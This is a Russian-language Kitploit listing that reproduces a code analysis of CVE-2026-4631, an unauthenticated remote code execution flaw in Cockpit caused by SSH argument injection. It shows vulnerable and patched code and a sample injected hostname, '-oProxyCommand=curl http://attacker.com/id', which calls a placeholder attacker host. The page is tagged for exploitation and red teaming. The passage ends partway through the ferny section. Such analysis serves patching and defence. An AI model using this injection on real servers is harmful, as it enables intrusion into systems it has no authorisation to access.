Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-4631-cockpit-RCE — Cockpit: Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH | Kitploit
Инструменты/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed Teaming
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Cockpit: Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH

Репозиторий
146195 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-4631 — Анализ кода

Cockpit: Неаутентифицированное удалённое выполнение кода через внедрение аргументов командной строки SSH

ПолеДетали
CVE IDCVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
СерьёзностьКритическая (CVSS 9.8)
Затронутые версииCockpit 327 – 359
Исправлено вCockpit 360
CWECWE-78: Внедрение команд ОС
Требуется аутентификацияНЕТ
СообщилJelle van der Waa

Содержание

  1. Обзор уязвимости
  2. Архитектурные предпосылки
  3. Анализ первопричины
  4. Уязвимый код — по файлам
  5. Векторы атак
  6. Диаграмма потока данных
  7. Анализ исправления
  8. Обнаружение
  9. Ссылки

1. Обзор уязвимости

Функция удалённого входа в Cockpit передаёт предоставленные пользователем имена хостов (из пути URL) и имена пользователей (из заголовка Authorization: Basic) напрямую в бинарный файл OpenSSH ssh без какой-либо проверки или очистки.

Неаутентифицированный злоумышленник с сетевым доступом к порту 9090 может сформировать один HTTP-запрос, который:

  • Внедряет произвольные параметры SSH через поле имени хоста (-oProxyCommand=<cmd>)
  • Внедряет shell-команды через поле имени пользователя, используя расширение токена %r в SSH

Обе точки внедрения срабатывают до завершения проверки учётных данных, то есть для этого не требуется действительный вход в систему.


2. Архитектурные предпосылки

Обычный процесс удалённого входа

Auth-flow

Что изменилось в версии 327

До версии 327 Cockpit использовал специальный бинарный файл на C под названием cockpit-ssh (на основе libssh) для удалённых подключений. Начиная с версии 327, он был заменён на:

python3 -m cockpit.beiboot

который вызывает системный клиент OpenSSH ssh. Это изменение привело к появлению уязвимости, поскольку новый путь кода передаёт управляемые пользователем значения напрямую в ssh без очистки.


3. Анализ первопричины

Проблема 1 — Отсутствие разделителя -- перед именем хоста

SSH-клиент интерпретирует аргументы, начинающиеся с -, как параметры, а не как имя хоста, если перед ними нет разделителя --. Без -- любое имя хоста, начинающееся с -, разбирается как флаг SSH.

Уязвимая конструкция:

ssh [параметры] <имя-хоста> <удалённая-команда>

Безопасная конструкция:

ssh [параметры] -- <имя-хоста> <удалённая-команда>

Проблема 2 — Отсутствие проверки входных данных

Ни cockpit-ws (код на C), ни cockpit.beiboot (код на Python) не проверяют и не очищают:

  • Имя хоста, извлечённое из пути URL
  • Имя пользователя, извлечённое из заголовка Authorization: Basic

Проблема 3 — Ошибка Python argparse (CPython #66623)

Известная ошибка CPython приводит к тому, что argparse неправильно обрабатывает аргументы, начинающиеся с - и содержащие пробелы, рассматривая их как позиционные, а не как флаги. Это позволяет имени хоста -oProxyCommand=evil command пройти через разбор аргументов Python и достичь ssh в качестве параметра.


4. Уязвимый код — по файлам

4.1 src/cockpit/beiboot.py — Основная точка внедрения

Это самый критичный файл. Функция via_ssh() формирует список аргументов команды SSH.

Уязвимый код (до исправления)

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Сформировать ssh-команду для выполнения `cmd` на `dest`."""

    # Разбор необязательного порта из dest (например, "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Удаление квадратных скобок IPv6
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  УЯЗВИМО: Нет '--' перед именем хоста
        # Если host = "-oProxyCommand=evil", ssh воспринимает это как параметр
        destination = ['-p', port, host]

    else:
        #  УЯЗВИМО: Необработанные данные атакующего передаются напрямую в ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

Как выглядит итоговый вызов SSH

С dest = "-oProxyCommand=curl http://attacker.com/id":

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← параметр cockpit
arg2: -oProxyCommand=curl http://...   ←  РАЗОБРАН КАК ПАРАМЕТР SSH (не имя хоста)
arg3: python3 -ic '# cockpit-bridge'   ← становится "именем хоста" → запускает ProxyCommand

Исправленный код (версия 360)

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  ИСПРАВЛЕНО: '--' заставляет всё после него быть позиционным
        destination = ['-p', port, '--', host]

    else:
        #  ИСПРАВЛЕНО: добавлен разделитель '--'
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — Слой C: Извлечение имени хоста

Этот C-файл обрабатывает начальный разбор HTTP-запроса и запускает процесс beiboot.

Извлечение имени хоста из URL (без проверки)

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Извлекает всё после "cockpit+=" из пути URL
    //  Без проверки символов — дефисы, спецсимволы разрешены
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

Возвращённое имя хоста передаётся напрямую как аргумент при запуске beiboot:

// cockpit_ws_ssh_program — шаблон команды запуска
//  УЯЗВИМО: имя хоста добавляется без очистки
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        Отсутствие завершающего '--' означает, что имя хоста
//                        может быть разобрано как флаг Python'овским argparse (CPython #66623)

Исправлено в версии 360

//  ИСПРАВЛЕНО: завершающий '--' гарантирует, что имя хоста всегда позиционное
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

Извлечение имени пользователя из заголовка Authorization (без проверки)

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Декодирует Authorization: Basic base64(user:password)
        //  Без проверки 'user' — точки с запятой, спецсимволы разрешены
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' передаётся в учётные данные и в конечном итоге в 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  без очистки
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — Третья точка внедрения

Встроенная библиотека ferny (используется для взаимодействия с SSH) имеет то же упущение -- в своём вызове подпроцесса.

Уязвимый код (до исправления)

Скачать инструмент